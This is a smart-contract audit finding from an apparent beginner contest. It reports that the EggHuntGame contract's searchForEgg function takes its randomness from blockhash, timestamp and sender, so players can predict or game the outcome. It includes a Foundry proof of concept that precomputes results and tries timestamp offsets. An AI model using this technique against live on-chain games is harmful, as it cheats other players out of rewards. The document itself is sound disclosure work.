Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable randomness in searchForEgg function

Summary

The searchForEgg function in the EggHuntGame contract uses on-chain data that is predictable or manipulatable by users to generate "random" numbers. This implementation creates an unfair advantage for technically sophisticated users who can predict or manipulate the outcome of egg searches, undermining the game's fairness.

Vulnerability Details

The randomness generation in the searchForEgg function relies on three inputs:

  1. Previous block hash

  2. Current block timestamp

  3. Message sender address

uint256 rand = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, msg.sender))) % 100;

This approach has several critical flaws:

  1. Predictability: Validators can see the blockhash and timestamp before finalizing a block, allowing them to predict outcomes

  2. Manipulation: Users can control when they submit transactions, potentially manipulating the block.timestamp within a small range

  3. Selective Execution: Users can compute the randomness outcome off-chain before sending their transaction, only proceeding when the result is favorable

These issues allow sophisticated users to gain an unfair advantage in the egg-finding game by:

  • Predicting when they will successfully find an egg

  • Timing their transactions to maximize success probability

  • Avoiding transaction costs when they know they'll fail to find an egg

Impact

This vulnerability significantly impacts the game's fairness:

  1. Unfair Advantage: Technically sophisticated users can dramatically increase their chances of finding eggs compared to regular players

  2. Economic Imbalance: The ability to predict success means some users can avoid wasting gas on failed searches, giving them an economic advantage

  3. Game Integrity: The core randomness mechanism is fundamentally flawed, undermining the game's intended random-chance design

  4. Market Manipulation: If NFTs from the game have value, predictable randomness could lead to market manipulation and unfair distribution

While this isn't a direct fund loss vulnerability, it significantly impacts the core gameplay mechanics and fairness of the system.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
contract PredictableRandomTest is Test {
EggstravaganzaNFT public nft;
EggVault public vault;
EggHuntGame public game;
EggHuntGame public attackerGame;
address public owner = address(1);
address public player = address(2);
address public attacker = address(3);
function setUp() public {
vm.startPrank(owner);
nft = new EggstravaganzaNFT("EggstravaganzaNFT", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Configure contracts
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
// Create a copy of the game that the attacker can use to predict randomness
attackerGame = new EggHuntGame(address(nft), address(vault));
// Start game
game.startGame(3600); // 1 hour game
// Set threshold to make finding eggs rare (10% chance)
game.setEggFindThreshold(10);
vm.stopPrank();
}
function testPredictableRandomness() public {
// 1. The attacker can predict when they will find an egg by computing the randomness ahead of time
vm.startPrank(attacker);
// Calculate the same randomness value that the game will use
uint256 predictedRand = calculateRandomness(attacker);
bool willFindEgg = predictedRand < 10; // 10 is the threshold
if (!willFindEgg) {
console.log("Attacker predicts they will NOT find an egg on this block");
// Try searching anyway to confirm the prediction
vm.expectEmit(true, false, false, false);
emit EggHuntGame.SearchFailed(attacker);
game.searchForEgg();
// Verify player didn't get an egg
assertEq(nft.balanceOf(attacker), 0);
} else {
console.log("Attacker predicts they WILL find an egg on this block");
// Search for an egg, expecting to find one
vm.expectEmit(true, true, false, false);
emit EggHuntGame.EggFound(attacker, 1);
game.searchForEgg();
// Verify player got an egg
assertEq(nft.balanceOf(attacker), 1);
}
vm.stopPrank();
}
function testBlockManipulation() public {
// Setup: Another player is trying to find eggs honestly
vm.startPrank(player);
bool playerFound = false;
// Player tries multiple times but doesn't find an egg
for (uint i = 0; i < 5; i++) {
// Try to search, check if found or not
vm.roll(block.number + 1); // Move to next block
vm.warp(block.timestamp + 15); // Add 15 seconds
// If player would find an egg, we capture that
uint256 playerRand = calculateRandomness(player);
if (playerRand < 10) {
playerFound = true;
break;
}
game.searchForEgg();
}
vm.stopPrank();
// If player didn't find an egg, test passes as expected
if (!playerFound) {
return;
}
// Attacker manipulates block.timestamp to steal the egg
vm.startPrank(attacker);
// Keep trying timestamps until we find one that gives us a winning number
uint256 originalTimestamp = block.timestamp;
bool found = false;
for (uint i = 0; i < 100; i++) {
// Try a different timestamp
vm.warp(originalTimestamp + i);
// Calculate randomness with this timestamp
uint256 attackerRand = calculateRandomness(attacker);
// Check if this would result in finding an egg
if (attackerRand < 10) {
found = true;
console.log("Attacker found winning timestamp offset: %s", i);
break;
}
}
// Attacker searches and finds an egg by manipulating timestamp
if (found) {
game.searchForEgg();
assertEq(nft.balanceOf(attacker), 1);
} else {
console.log("Attacker couldn't find a winning timestamp in 100 tries");
}
vm.stopPrank();
}
// Helper function to calculate randomness the same way the game contract does
function calculateRandomness(address user) public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, user))) % 100;
}

Tools Used

  • Manual code review

  • Foundry for testing randomness manipulation

Recommendations

Option 1: Use Chainlink VRF
Option 2: Commit-Reveal Scheme

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.